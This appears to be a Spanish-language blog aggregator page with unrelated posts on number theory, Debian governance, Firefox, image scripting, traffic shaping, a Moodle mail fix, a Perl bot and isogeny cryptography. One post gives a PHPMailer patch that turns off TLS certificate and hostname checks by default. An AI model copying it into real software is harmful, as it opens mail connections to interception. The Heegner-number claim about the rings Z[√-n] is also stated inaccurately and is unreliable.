Vamos a profundizar en uno en especial en la siguiente sección cuando $latex n=-1$.

Enteros Gaussianos

Si $latex n=-1$ tenemos la colección de números complejos $latex a+bi$ con $latex a,b\in \mathbb{Z}$, imagínen los puntos de plano complejo o de $latex \mathbb{R}^2$ que tienen coordenadas enteras, es decir una retícula que asemeja cuadrados.

Estos enteros son muy importantes, son $latex \mathbb{Z}[i]$

Estos enteros son como $latex \mathbb{Z}$ pero con algunas cosas raras adicionales, ya que hay más unidades aparte del 1 y -1, también tenemos a $latex i$ y $latex -i$ ya que $latex i\cdot (-i)=1$ .

También tenemos que $latex 2$ es irreducible como un entero en $latex \mathbb{Z}$ pero no como un entero gaussiano en $latex \mathbb{Z}[i]$ ya que $latex 2=(1+i)(1-i)$.

De hecho si un número primo $latex p=a^2 + b^2$ es decir es suma de enteros cuadrados, entonces p no es irreducible como un entero Gaussiano, ya que siempre va a poder factorizarse como $latex p=(a+bi)(a-bi)$. (**)

Vamos a definir lo que es la norma en un anillo en general, pero por ahora, sólo la definiremos para estos enteros que es $latex N(a+bi)=|a+bi|^{2}=a^2 + b^2$, es decir $latex N:\mathbb{Z}[i]\to \mathbb{Z}^{+}$.

La propiedad importante de la norma es que $latex N(wz)=N(w)N(z)$ lo que implica que si $latex u$ es una unidad entonces
$latex 1=N(1)=N(uu^{-1})=N(u)N(u^{-1})$ y como $latex N(u)$ debe ser un entero no negativo por como está definida la norma entonces debe ser 1 forzosamente, por lo que toda unidad tiene norma 1.

 Ahora vamos a examinar la propiedad (**), si $latex p$ es un primo y supongamos que podemos factorizarlo de manera no trivial como $latex p=wz$ en $latex \mathbb{Z}[i]$ , entonces usando la norma sabemos que $latex N(p)=p^2$ por la definición de norma, pero también sabemos que p=wz por lo que $latex N(p)=N(w)N(z)$ por lo que $latex p^2=N(w)N(z)$, como la factorización es no trivial, tenemos que $latex N(w)$ y $latex N(z)$ no son 1 por lo que $latex w,z$ no son unidades, y esto implica que $latex N(w)=N(z)=p$  por lo que si $latex w=\alpha+\beta i$ entonces $latex N(w)=\alpha^2 + \beta^2 = p$ por lo que $latex p$ es suma de dos cuadrados.

Bueno con lo anterior, vemos el poder de la norma, de hecho nos permite diferenciar irreducibles en $latex \mathbb{Z}[i]$ ya que para todo factor $latex p$ de un entero $latex n$ si $latex p$ no es suma de dos cuadrados entonces es irreducible, y si $latex p=a^2  + b^2$ entonces podemos sustituir en la factorización de $latex n$ a las $latex p$ por $latex (a+bi)(a-bi)$ y cada uno de estos factores es irreducible.

Un dato interesante de los enteros gaussianos es que también es un DFU y de hecho con la norma podemos darnos cuenta de toda la factorización en $latex \mathbb{Z}[i]$ ya que todos los irreducibles son los primos $latex p$ que no son suma de dos cuadrados así como todos los $latex a\pm bi$ tal que $latex a^2+b^2$ es un número primo. Para mostrar lo último considera $latex z=a+bi \in \mathbb{Z}[i]$ entonces $latex N(z)=a^2+b^2=z\bar{z}$ (su conjugado) . Como $latex N(z)$ es un entero normal positivo, y sabemos que en $latex \mathbb{Z}$ hay factorización única por lo que todo factor irreducible de $latex z$ debe ser factor de $latex N(z)$  por lo que si $latex N(z)=a^2+b^2$ es primo es irreducible.

¿Quiénes no son DFU?

¿Y qué?, ¿Cuándo no es DFU?,

Para mostrar eso formalmente debería introducir un grupo especial, que se llama grupo de clases de ideales asociado a un anillo, pero eso terminaría con la naturaleza elemental de este post, pero pronto lo haré en una siguiente sección, éste consiste en el cociente del grupo de ideales fraccionarios del campo de fracciones del anillo $latex R$ módulo los ideales principales de $latex R$, este grupo está íntimamente asociado al grupo de Picard de orden 0 de una curva algebraica que se estudia mucho en criptografía pero se ve de manera más "fácil" esto es la generalización pero eso es otro tema.

Hay un problema en matemáticas que estudian los grupos de clases de ideales para saber cuándo hay o no factorización única, de hecho eso lo mide el grupo de clases de ideales en sus elementos ( el area de matemáticas es class field theory), por ejemplo algo raro es que $latex \mathbb{Z}[\sqrt{-5}]$ NO es DFU, pero si consideramos los anillos con raiz cuadrada de $latex n$ que son $latex \mathbb{Z}[\sqrt{-n}]$ para $latex n\in \lbrace 1,2,3,7,11,19,43,67,163 \rbrace$ estos son los ÚNICOS enteros cuya raíz cuadrada imaginaria nos forman un dominio de factorización única, es decir para -5 o -13 no tenemos la propiedad de DFU, y de hecho lo que sucede es que el Class Group asociado al anillo es trivial (tiene un sólo elemento) sí y sólo si el anillo es un DFU.

Esto fue conjeturado por Gauss, probado con errores por Heegner y formalizado por Baker y Stark, de hecho estos 9 números raritos se llaman Números de Heegner.

Esto es impresionante ¿no? , es decir, qué tienen de raro esos 9 números que nos forman anillos con factorización única que otros números primos no puedan hacer... ¿qué hay en la geometría de estas retículas?

Espero les haya gustado

Eduardo Ruíz Duarte (beck)
twitter: @toorandom

Martes 20 de septiembre de 2016

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Proposing a GR to repeal the 2005 vote for declassification of the debian-private mailing list

For the non-Debian people among my readers: The following post presents bits of the decision-taking process in the Debian project. You might find it interesting, or terribly dull and boring :-) Proceed at your own risk.

My reason for posting this entry is to get more people to read the accompanying options for my proposed General Resolution (GR), and have as full a ballot as possible.

Almost three weeks ago, I sent a mail to the debian-vote mailing list. I'm quoting it here in full:

Some weeks ago, Nicolas Dandrimont proposed a GR for declassifying
debian-private[1]. In the course of the following discussion, he
accepted[2] Don Armstrong's amendment[3], which intended to clarify the
meaning and implementation regarding the work of our delegates and the
powers of the DPL, and recognizing the historical value that could lie
within said list.


In the process of the discussion, several people objected to the
amended wording, particularly to the fact that "sufficient time and
opportunity" might not be sufficiently bound and defined.

I am, as some of its initial seconders, a strong believer in Nicolas'
original proposal; repealing a GR that was never implemented in the
slightest way basically means the Debian project should stop lying,
both to itself and to the whole free software community within which
it exists, about something that would be nice but is effectively not

While Don's proposal is a good contribution, given that in the
aforementioned GR "Further Discussion" won 134 votes against 118, I
hereby propose the following General Resolution:


Title: Acknowledge that the debian-private list will remain private.

1. The 2005 General Resolution titled "Declassification of debian-private
   list archives" is repealed.
2. In keeping with paragraph 3 of the Debian Social Contract, Debian
   Developers are strongly encouraged to use the debian-private mailing
   list only for discussions that should not be disclosed.

=== END GR TEXT ===

Thanks for your consideration,
Gunnar Wolf
(with thanks to Nicolas for writing the entirety of the GR text ;-) )

Yesterday, I spoke with the Debian project secretary, who confirmed my proposal has reached enough Seconds (that is, we have reached five people wanting the vote to happen), so I could now formally do a call for votes. Thing is, there are two other proposals I feel are interesting, and should be part of the same ballot, and both address part of the reasons why the GR initially proposed by Nicolas didn't succeed:

So, once more (and finally!), why am I posting this?

  • To invite Iain to formally propose his text as an option to mine
  • To invite more DDs to second the available options
  • To publicize the ongoing discussion

I plan to do the formal call for votes by Friday 23.
[update] Kurt informed me that the discussion period started yesterday, when I received the 5th second. The minimum discussion period is two weeks, so I will be doing a call for votes at or after 2016-10-03.

Lunes 12 de septiembre de 2016

Antonio de Dios

Antonio de Dios
Linux – Webadedios


Actualice firefox a su mas reciente versión (Mozilla Firefox 48.0) en mi máquina con linux debian, inmediatamente no fue posible acceder a las mayoría de los sitios mas comunes, entiéndase google, yahoo, facebook

Da un error de NS_ERROR_NET_INADEQUATE_SECURITY cuando visito la mayoría de los sitios como Google o incluso  ( si funciona)

Este mensaje parece estar asociado con los sitios que están utilizando el protocolo HTTP 2 / (recientemente soportado en Firefox), pero no se fijo un nivel de seguridad adecuado para ese protocolo.Así que una opción sería la de decirle a Firefox que NO utilice http 2, de modo que los sitios usaran de nuevo http 1.1.

Solución temporal y actual, espero que en la siguiente y esperada versión de firefox solución este bug


  1. about:config en la barra de direcciones y pulse Enter. Haga clic en el botón de la promesa de tener cuidado.aboutconfacepta
  2. En el cuadro de búsqueda arriba de la lista, escriba SPD estamos buscando el valor network.http.spdy.enabled.http2
  3. Doble clic en network.http.spdy.enabled.http2 para cambiar el valor de verdadero a falso


Reinicia y esta solución temporal funciona, evidentemente en la siguiente versión hacer lo mismo pero volviendo a poner el valor en true/verdadero

Mi recomendación es no usar esta versión de firefox al menos en linux (firefox 48), 


Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

Diez mil ediciones es Wikipedia español

Pues he superado las 10,000 ediciones en Wikipedia en español y pasado las 15,000 globales en el conjunto de proyectos de la fundación Wikimedia.
Es grato que automagicamente Wikipedia agradezca las ediciones
Puede parecer una simpleza o pequeñez, pero me representa un trabajo hormiga en la construcción y mantenimiento de un proyecto de conocimiento libre y colaborativo.
Gustavo Rubio

Gustavo Rubio
Ahí vamos

¿Por qué no puedo respetar la marcha por la familia?

El día de ayer se realizó, a nivel nacional, la llamada “Marcha por la familia“, convocada primordialmente por una organización civil denominada “Frente nacional por la familia” cuya misión, según su propio sitio web es la siguiente:

El Frente Nacional por la Familia, nace en respuesta al paquete de iniciativas en contra del matrimonio y la familia natural anunciado por el presidente Enrique Peña Nieto el 17 de mayo de 2016.

Cientos de miles de personas marcharon para manifestar su descontento con la propuesta del presidente para legalizar entre otras cosas, el matrimonio entre personas del mismo sexo y la posibilidad de estas parejas de adoptar hijos, es decir, dotarles de una figura legal, como a todos los demás, sin importar su orientación sexual.

Como era de esperarse, en un país tan Guadalupano, apostólico y romano como lo es México (lease: mocho, para los que no entendieron), el simple hecho de proponer esta reforma al código civil a nivel nacional les dió ñañaras a varios sectores conservadores de la población que no están de acuerdo con la iniciativa. Este llamado frente y la consecuente marcha es resultado de este descontento. Y si bien estamos en un país donde constitucionalmente estamos habilitados para, mas o menos, manifestarnos libremente, yo, como muchos otros ciudadanos, no estoy de acuerdo con esta marcha ni con este frente por varias razones que desgloso a continuación.

Es una tarea con un objetivo inútil

Si bien es cierto que la misma constitución nos permite manifestar nuestras ideas libremente, esto no quiere decir que por arte de magia, y debido a una manifestación, las cosas vayan a cambiar. Es decir, ¿Qué pretende el conglomerado de personas marchando? ¿Que una persona homosexual se vuelva heterosexual? Marchar y rezar no van a a cambiar las preferencias sexuales de una persona.

Interferir con los derechos de terceros NO es una manifestación válida

Una de las constantes de los simpatizantes con este movimiento es el siguiente: “Respeten y sean tolerantes con los diferentes criterios y formas de pensar“. ¿Se puede respetar la educación y los valores tradicionales cristianos, o de cualquier otra creencia? Claro que si! pero una cosa no está conectada con la otra. Los simpatizantes del movimiento aseguran que tienen exactamente el mismo derecho a manifestarse y exigir a las autoridades así como las comunidades LGBT lo han hecho, solo que existe una gran diferencia entre los objetivos de cada grupo, en el caso de la comunidad LGBT se ha buscado que a personas con una orientación sexual diferente a un heterosexual se le provean los mismos derechos y estatus legal que una persona heterosexual, es decir, quienes se han manifestado por años y de lo que se trata la iniciativa de reforma es de dotar de derechos a un grupo específico, en este caso, a quienes se identifican con dicho grupo. En ningún momento una persona de la comunidad LGBT se ha manifestado o exigido que, a quienes no pertenecen a dicho grupo, sean obligados a casarse con una pareja del mismo sexo, por ejemplo, es decir, la comunidad LGBT ha luchado para que se les brinden ciertos derechos a ellos, no para que se le quiten a otros o se les obligue a hacer algo que no quieren. Si la reforma al código civil se aprueba no significa que las personas con orientación heterosexual estén obligadas a cambiarlas, ni les van a regalar a parejas homosexuales a los hijos de parejas no homosexuales.

Por el contrario, el frente por la familia exige al gobierno y al congreso no aprobar estas leyes sin embargo son leyes en las que no están involucrados de ninguna manera. Si yo no soy homosexual ¿Por qué habría de importarme o afectarme directamente la legislación sobre el tema?. El frente a la familia, lo que pretende en realidad, es intervenir en los derechos de terceros. Basados en dogmas y cultos, pretenden mezclar dos cosas incompatibles. Si bien una persona tiene derecho a profesar la religión que le plazca y actuar acorde a las recomendaciones de sus ministros, iglesias y escrituras sagradas, no puede exigir que el gobierno legisle en base a estas creencias pues ello finalmente significa obligarnos a los demás a vivir bajo reglamentos de terceros. La discusión sobre aprobar o desaprobar legislaciones es necesaria y natural, pero debe efectuarse bajo un contexto de derechos civiles, de convivencia y de apego a la ley. Lo que el frente de la familia pide no está bajo ninguno de estos contextos.

Es ilegal

El último punto y más importante es que tanto la marcha como los movimientos tienen tintes de ilegalidad. ¿Por qué? Por que la constitución estipula en el artículo 140 claramente que todos los ministros, pastores, iglesias y en general, cualquier asociación religiosa, tienen estrictamente prohibido manifestarse en contra de leyes o instituciones del país:



Siento este un movimiento en el cual participan activamente y de manera oficial miembros de varias iglesias en el país, constituye un delito pues si bien cualquier persona no ligada bajo la figura legal de una asociación religiosa, es decir, cualquier ciudadano creyente, tiene derecho a manifestarse, no es el caso de quienes si son parte de dichas asociaciones religiosas.

La justificación que estas personas alegan es simplemente absurda. Si se realiza un diálogo entre ambas partes, finalmente, quienes basan las leyes en su fé, tendrán que admitir que la motivación de exigir que se les despoje de sus derechos a la otra parte es simplemente una cuestión de creencia y culto la cual, repito, es ilegal y no debe ser considerada como un argumento.

Finalmente, lo más irónico, como siempre, es que estas marchas moralistas provengan de grupos manejados por una institución religiosa que primordialmente ha sido conocida a lo largo de siglos por sus torturas, asesinatos, cruzadas, guerras, xenofobia, concentración de poder, abusos sexuales, perversión infantil y una larga lista de otras actividades que bien serían una buena causa no solo para marchar sino para reformar.

Jueves 08 de septiembre de 2016

Héctor Bautista

Héctor Bautista
Gnu/Linux – Soy un Jedi

Cuarto Aniversario

Hijo mío, este miércoles celebramos los 4 años que tienes de vida.

Ha sido largo el camino recorrido para llegar a este momento en particular.

Nos hemos topado con muchos momentos memorables, viajes y algunas veces, un par de tragos amargos.

Siempre has sido una bendición para nosotros, y en este cuarto aniversario, nos lo vuelves a comprobar.

Tenemos en puerta algunos cambios importantes, nuevas oportunidades y lugares por conocer y descubrir.

Espero que las decisiones y rumbo que estamos tomando ahora, supongan un bienestar para tu futuro y sienten las bases para una vida mejor y con mejores oportunidades.

Espero que te la hayas pasado un día muy divertido, bonito y sobre todo que hayas sentido todo el amor que toda la familia te tiene.

Recuerda siempre que te amo.

Tu padre.

Notas relacionadas:

  • No hay entrada relacionada

The post Cuarto Aniversario appeared first on Soy un Jedi.

Lunes 05 de septiembre de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – LINUXMANR4

Agregar texto a una imagen con ImageMagick

LINUXMANR4 - de linux y otras cosas... linux, manjaro, elastix, software libre

Hice un pequeño script en Bash para agregar texto a una imagen con ImageMagick.

agregartexto script en bash | Agregar texto a una imagen con ImageMagickEl script y al mismo tiempo una muestra del resultado.

Bueno en realidad hace un poco más que eso. En el momento en el que se ejecuta, le agrega un texto en la parte inferior derecha de la imagen, si es muy grande la redimensiona y al final la optimiza para que sea de un tamaño adecuado.

Buscar el nombre de las fuentes

Sin embargo, mientras encontraba la instrucción convert que hiciera lo que yo quería con la imagen, me di cuenta de que quería usar un tipo de letra en específico. Me gustó una fuente que se llama Tex Gyre Adventor y que no encontraba como nombrarla adecuadamente en el script. Intenté poniendo el nombre con comillas, sin espacios, pero nada, en cada ejecución me daba un error.

Para saber como nombrar las fuentes instaladas en su equipo puede teclear:

identify -list font
Aunque claro, pasará la lista completa en la terminal muy rápidamente, así que se puede generar una lista redireccionando la salida a un archivo.
identify -list font > fuentes.txt
Así fue como encontré que el nombre de la fuente que quería utilizar era TeXGyreAdventor-Regular.

En realidad son dos textos.

Otro problema que tuve fue que dependiendo de si la imagen era oscura o clara era probable que el texto fuera o no claramente visible. Por eso busqué la forma de agregar una sombra que me ayudara con este detalle.

Encontré en ImageMagick v6 Examples Compound Font Effects esta instrucción que me gustó

convert -size 320x100 xc:lightblue -font Candice -pointsize 72 \
           -fill black -draw "text 28,68 'Anthony'" \
           -fill white -draw "text 25,65 'Anthony'" \
Como pueden ver, en realidad se agregan dos veces el mismo texto con diferentes colores y un ligero desplazamiento para crear ese efecto de sombra.

Efecto Hard ShadowEfecto Hard Shadow

Sin embargo,  en el script hice algunos cambios para suavizar la sombra, en lugar de elegir un color sólido en el sombreado preferí hacerlo un poco transparente.

Sombreado transparenteAhora con una sombra ligeramente transparente.

La optimización de la imagen

Usé Leanify para optimizar la imagen ya que es un programa que utiliza una técnica lossless (sin pérdidas) y se puede aplicar sin problemas tanto a imágenes JPG como PNG.

Leanify no solo sirve para optimizar imágenes, de hecho soporta una gran variedad de formatos de archivos.

Ejecutando el script

Al principio, hice un script que buscaba todos los archivos JPG del directorio, pero durante el proceso de depuración me di cuenta de que era poco práctico.

Por eso decidí pasar desde la terminal los dos parámetros que son, el nombre de la imagen y el texto que se quiere agregar quedando más o menos así:

./ "archivo_imagen.jpg" "¡Hola mundo!"
¡Hola mundo!¡Hola mundo!

Cuando hago este tipo de script en Bash, me gusta copiarlos a la carpeta /usr/bin para que los pueda llamar desde cualquier carpeta de mi equipo.

cielo azul cielo nublado | Agregar texto a una imagen con ImageMagickCielo azul, cielo nublado.

¿Qué les parece? se aceptan sugerencias, comentarios, críticas, cervezas o un café.


Agregar texto a una imagen con ImageMagick

Martes 30 de agosto de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – LINUXMANR4

Controlar el ancho de banda por dirección IP en Linux

LINUXMANR4 - de linux y otras cosas... linux, manjaro, elastix, software libre

El problema

Se me planteó el de problema de intentar controlar el ancho de banda de cada uno de mis clientes de la red. De preferencia por dirección IP y me llevó algo de tiempo encontrar una solución.

El propósito es evitar que un cliente acapare de todo el ancho de banda disponible y anule o limite a los demás.

A lo mejor puede sonar algo trivial, considerando que actualmente existen proveedores de internet que pueden llegar a ofrecer 100 Mbps de descarga o cantidades así, pero en donde estoy solo disponemos de 3 Mbps que tengo que hacer rendir.

Lamentablemente por nuestra ubicación no tenemos otras opciones y si las hay son inestables o costosas, así que no queda más que leer para ver que se puede hacer.

IPCop como tal no ofrece ninguna opción similar, de hecho he considerado varias veces en cambiarme a pFsense, pero le tengo aprecio a esta herramienta, nunca me ha fallado y me parece un poco ingrato cambiarlo por otro software.

tc (traffic control)

Existe un programa en linux que se llama tc  que permite controlar el tráfico de paquetes que circula en una interfaz de red.

Haciendo un símil, imaginen que la tarjeta de red es una carretera, los automóviles son los paquetes que fluyen libremente intercambiando información entre su equipo y sus vecinos.

Básicamente tc permite establecer los mecanismos que controlan la transmisión y recepción de paquetes. Es como poner límites de velocidad a la carretera de la información.

controlar el ancho de banda por dirección IP en linuxDarle a cada usuario lo que necesita.

Mejor que eso, en lugar de establecer un ancho de banda máximo permitido en toda “la carretera”, se puede establecer un límite de velocidad dependiendo del destino al que quieren llegar los paquetes, de esta forma es posible controlar la cantidad de paquetes que consumen cada uno de los destinos (o clientes).

Creo que ni yo me entendí pero la idea es esa.


Les recuerdo que utilizo Manjaro una distribución de linux basada en Arch. El paquete que contiene a tc se llama iproute2. IPCop lo tiene instalado por default y Manjaro también, así que probablemente ya lo tienen y ni cuenta se han dado.

El script

Leí mucho sobre el tema hasta que me encontré con un sencillo script en bash que hace lo que necesito en How can I do traffic shaping in Linux by IP?. Sólo tenía que hacerle algunos ajustes.

Por ejemplo en donde dice, NETCARD no es eth0, IPCop lo llama lan-1. Luego en donde se define el array ipctrl lo ajuste a un valor adecuado de para mis direcciones IP, por ejemplo alguien tendrá direcciones del tipo 192.168.0.x o 192.168.1.x y en el ejemplo le di un valor por default de 256 kbps a cada uno, pero esto es lo bonito de este script, que se puede personalizar individualmente el ancho de banda y eso es una maravilla.

Claro que tiene que guardar el script en un archivo, darle permisos de ejecución, que se ejecute durante el arranque y todas esas cosas que hacemos los administradores de sistemas.


Tengo algunos puntos de acceso inalámbricos a los que les voy a establecer un límite, total para mandar un mensaje por el Whatsapp no se requiere mucho ancho de banda ¿cierto?, pero una actualización de dispositivo (y si me refiero a tí Apple !!!)  eso es muy diferente ¿Ahora me entienden?.

Intento reservar el ancho de banda para donde lo creo más prioritario. De esa forma todos mis usuarios tiene internet, pero a distintas velocidades.

Como siempre, lo interesante de compartir estas ideas es la posibilidad de recibir sugerencias, señalar errores o analizar otros enfoques. Espero ansioso sus comentarios.


Controlar el ancho de banda por dirección IP en Linux

Lunes 29 de agosto de 2016

PHP y certificados firmados por uno mismo el caso de Moodle

Ya lo puse en gran medida en ingles en enero de este año que actualizamos la mayoría de nuestros servidores a php > 5.6 y empezamos a tener problemas al mandar correo desde el mismo via SSL/TLS entonces lo documento acá de nuevo pero en español, porque no se me ha ocurrido que escribir y para resucitar el mensaje y obtener más visitas para aprovechar que me lo encontré ahora que migre también a Moodle 3.1 en la mayoría de mis instancias ahora que es el nuevo LTS… en su momento pensé que era problema de Moodle pero como estaba en 2.6 ni se me ocurrió levantar un ticket, ahora pues tampoco merece un ticket ya que es una librería externa y más o menos está documentado:

diff --git a/lib/phpmailer/class.phpmailer.php b/lib/phpmailer/class.phpmailer.p
index fe37a93..430e47e 100644
--- a/lib/phpmailer/class.phpmailer.php
+++ b/lib/phpmailer/class.phpmailer.php
@@ -1222,7 +1222,12 @@ class PHPMailer
* @throws phpmailerException
* @return bool
- public function smtpConnect($options = array())
+ public function smtpConnect($options = array(
+ 'ssl'=>array(
+ 'verify_peer' => false,
+ 'verify_peer_name' => false,
+ 'allow_self_signed' => true)
+ ))
if (is_null($this->smtp)) {
$this->smtp = $this->getSMTPInstance();

Además de la entrada en ingles anterior, acá esta lo que utilice para descubrir que hacer

a hay un ticket en Moodle al respecto, espero reciba más trafico y comentarios, si se encontraran muchos en esta necesidad pudiera ser que se añadiera al menos una nota en config.php-dist

David Moreno

David Moreno
dm's blog

Webhook Setup with Facebook::Messenger::Bot

The documentation for the Facebook Messenger API points out how to setup your initial bot webhook. I just committed a quick patch that would make it very easy to setup a quick script to get it done using the unreleased and still in progress Perl’s Facebook::Messenger::Bot:

use Facebook::Messenger::Bot;

use constant VERIFY_TOKEN => 'imsosecret';

my $bot = Facebook::Messenger::Bot->new(); # no config specified!
$bot->expect_verify_token( VERIFY_TOKEN );

This should get you sorted. What endpoint would that be, though? Well that depends on how you’re giving Facebook access to your Plack’s .psgi application.

Sábado 27 de agosto de 2016

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Criptografía asimétrica con curvas elípticas isógenas súpersingulares resistentes a ataques cuánticos

Poco a poco la criptografía como la conocemos está desapareciendo, he hablado con Tanja Lange un par de veces en los congresos que hace la sociedad matemática holandesa y ella parece insistir mucho que estamos ya muy cerca presenciar la existencia de una computadora cuántica, ella afirma que entre el 2024-2030 ya existirá alguna.

Lo relevante es que toda la criptografía actual implementada en los ámbitos económicos, militares y gubernamentales, cuenta con seguridad extrema ante computo clásico como lo conocemos (modelos Von Neumann, Turing...) . El problema es que el modelo de cómputo cuántico rompe todos los algoritmos implementados hoy en día. Esto es debido a la existencia de un algoritmo por Peter Shor que factoriza y calcula logaritmos discretos, es decir, rompe RSA y criptografía basada en el problema de logaritmo discreto (Curvas elípticas) en tiempo polinomial. Esto significará que todos seríamos vulnerables ante el individuo/organización que construya computadora cuántica (IBM, DWave, Google por ejemplo).

Por lo que, las curvas elípticas e hiperelípticas como las implementamos hoy en día, comienzan a ser obsoletas en criptografía, aunque siguen siendo muy útiles para computación en teoría de números algebraica que sirve para hacer nuevos algoritmos, es decir, no estoy diciendo que ya no sirvan las curvas, sino que la criptografía que usa el problema de logaritmo discreto con curvas o variedades abelianas está vulnerado ante la presencia de una computadora cuántica.

En este post les voy a mostrar un análogo de Diffie Hellman que no es vulnerable ante la presencia de un atacante con recursos cuánticos. El post es autocontenido, sólo requieres saber la teoría básica de curvas elípticas la cual la puedes leer en mi blog, recomiendo (aunque no es obligatorio ya que trato de hacerlo autocontenido leer estos artículos aquí en mi blog antes)

Teorema de Hasse en curvas elípticas
Álgebras de endomorfismos en curvas elípticas
j-Invariante en curvas elípticas

El método de Diffie Hellman que funciona bajo cómputo cuántico que describiremos aquí necesita conocimiento de morfismos entre curvas elípticas (isogenias u homomorfismos de los grupos abelianos inducidos por las curvas).
El contenido de este post es el siguiente:

* Background en isogenias y kérneles de éstas antes de irse a lo cuántico.
* Grado de una isogenia
* p-Torsión, j-invariante y características de curvas elípticas súpersingulares
* Construyendo Isogenias desde subgrupos de la curva usando fórmulas de Velú.
* Algoritmo explítico Diffie Hellman con isogenias entre curvas elípticas supersingulares.
* ¿Pero por qué nos enfocamos en súpersingulares?
* ¿En qué se basa la seguridad?, ¿qué tengo que romper si quiero hacer criptoanálisis?

Todo esto que escribo fue gracias a la emoción que me causaron las pláticas de Dimitar Jetchev (EPFL, Lausanne, Suiza), Frederik Vercauteren (KU Leuven, Bélgica), Benjamin Smith (INRIA, Francia) y René Schoof (Università di Roma, Italia) en el workshop "Mathematical structures for cryptography" el cual tuve la suerte de poder trabajar con grandes matemáticos del 22-26 de Agosto en Leiden, Países Bajos cuyo objetivo era juntar investigadores en matemáticas y criptografía para resolver problemas abiertos en esta teoría así como la basada en retículas para cómputo cuántico (Lattice Based Cryptography), todos los participantes aportamos algo interesante, y fue una de las más grandes experiencias profesionales que he tenido, aquí hay más información de la gente involucrada


Background en isogenias y kérneles de éstas antes de irse a lo cuántico.

Sea $latex E$ una curva elíptica en forma de Weierstrass sobre un campo finito $latex \mathbb{F}_q$ , es decir $latex E:=\lbrace (x,y)\in \mathbb{F}_q\times\mathbb{F}_q : y^2 = x^3 + ax + b \rbrace$.

Como he explicado en posts anteriores, las curvas elípticas forman un grupo abeliano, es decir, $latex \langle E,\oplus\rangle$ es una estructura donde los puntos se pueden "sumar y restar" , es conmutativa, todos tienen inverso aditivo, es asociativa, cerrada y con elemento neutro $latex \infty$.

Hay fórmulas explícitas para calcular la suma de puntos como en el post anterior mencionado en el párrafo anterior, y también están muy bien explicadas en wikipedia, así que supondré que ya sabemos como funciona la adición elíptica que geométricamente la intuición es con la siguiente imagen:

Isogenias entre curvas 
(mapeos de curvas elípticas, homomorfismos de grupos abelianos inducidos)

Tenemos que si $latex \langle E_1, \oplus\rangle ,\langle E_2,\boxplus \rangle$ son dos curvas elípticas y existe un morfismo $latex \psi:E_1\to E_2$ que respeta la estructura de grupo de cada una, es decir $latex \psi(P\oplus Q)= \phi(P)\boxplus \phi(Q)$ y que mapea el $latex 0$ de una al $latex 0$ de la otra, entonces decimos que ambas son isógenas.

Ahora vamos a ver qué son esos ceros en la curva, ya que no es trivial desde el punto de vista afín.

Kérnel de isogenias

En curvas elípticas tenemos que una isogenia entre dos curvas se ve como $latex \psi(x,y) := (\frac{a_1(x)}{a_2(x)}, \frac{yb_1(x)}{b_2(x)} )$ donde más técnicamente es porque $latex \frac{a_1(x)}{a_2(x)}, \frac{yb_1(x)}{b_2(x)} \in \mathbb{F}_q(E_2)$ es decir son funciones bien definidas en los puntos de la curva en el codominio, son funciones de su campo de funciones (campo de fracciones de la gavilla de funciones del la curva vista como esquema).

Para entender el kérnel de un mapeo como el anterior, necesitamos ver la curva de manera proyectiva, ya que el 0 (cero) en $latex E_1$ y $latex E_2$ no es un punto afín.

Si $latex \psi:E_1\to E_2$ es una isogenia entre curvas elípticas, el kérnel está definido como:

$latex ker\psi := \lbrace P\in E_1 : \psi(P) = \infty_{E_2}\rbrace$

Es decir, todos los puntos que nos mandan al infinito.

Recuerden que las curvas son proyectivas, entonces lo que esto significa exactamente es que si la isogenia está definida por $latex (\frac{a_1(x)}{a_2(x)},y\frac{b_1(x)}{b_2(x)})$ entonces podemos proyectivizar estas ecuaciones con una nueva variable $latex z$ (cerradura proyectiva), los puntos que el mapeo manda al infinito veremos a continuación que son justamente donde no están definidas esas funciones racionales sin proyectivizar.

Informalmente pero no incorrectamente, definir la imagen de estos puntos "no definidos bajo $latex \phi$" como $latex \infty_{E_2}$ se hace, deshaciéndose de los denominadores en la isogenia y homogeneizando, eso será la isogenia vista en la cerradura proyectiva de la curva que es $latex zy^2 = x^3 + az^2x + bz^3$ .

Entonces tendremos que los puntos afines de la cerradura proyectiva de la curva están dados por los puntos $latex (x:y:1)$ , es decir, la imagen afín de $latex \psi$ es  $latex (\frac{a_1(x)}{a_2(x)}:y\frac{b_1(x)}{b_2(x)}:1)$ , por lo que entonces la ecuación proyectiva es: $latex (a_1(x)b_2(x):yb_1(x)a_2(x):a_2(x)b_2(x))$ , y todos los puntos $latex (x:y:1)$ donde no está definida la curva afín, justamente estarán bien definidos aquí proyectivamente y esos puntos, son los que tienen imagen al infinito , es decir, que tienen como imagen el punto $latex \infty := (0:1:0)$, y son los puntos en el $latex ker\psi$ incluyendo al $latex \infty_{E_1}$ ya que es requisito de una isogenia mapear infinitos.

Pueden ustedes demostrar de hecho que $latex ker\psi := \lbrace (x,y)\in E_1 : a_2(x)=0\rbrace$ con el hint de que $latex a_2^3 \mid b_2^2$ siempre, y así como que $latex b_2^2\mid f_1a_1^3$ donde $latex f_1$ es la ecuación que define a $latex E_1$ en $latex y^2 = x^3 + a_1x + b_1$, recuerden que esto lo demuestran en el campo de funciones de la curva, es decir tienen que tomar en cuenta la ecuación de la curva al momento de demostrar esto.

Teorema: Si dos curvas elípticas son isógenas sobre un campo finito, entonces tienen el mismo número de puntos.

Grado de una isogenia

Antes de demostrar el teorema, necesitamos entender qué es el grado de una isogenia.

Sea $latex \psi:E_1\to E_2$ una isogenia definida sobre un campo finito $latex \mathbb{F}_q$.

Decimos que el mapeo $latex \psi$ es separable si la extensión de los campos inducida por $latex \mathbb{\psi}$ es separable.

Es decir si $latex \mathbb{F}(E_1)/\psi^{*}\mathbb{F}_q(E_1)$ es separable, y su dimensión como espacio vectorial la usamos para definir:

$latex \text{grad}\psi := dim_{\mathbb{F}_q}(\mathbb{F}_q(E_1)/\psi^{*}\mathbb{F}_q(E_1))=[\mathbb{F}(E_1):\psi^{*}\mathbb{F}_q(E_1)]$

Si esta extensión de campos inducida por $latex \psi$ es separable, decimos que es $latex \psi$ es separable, y una propiedad de isogenias separables es que $latex \text{grad}\psi :=$#$latex ker\psi$.

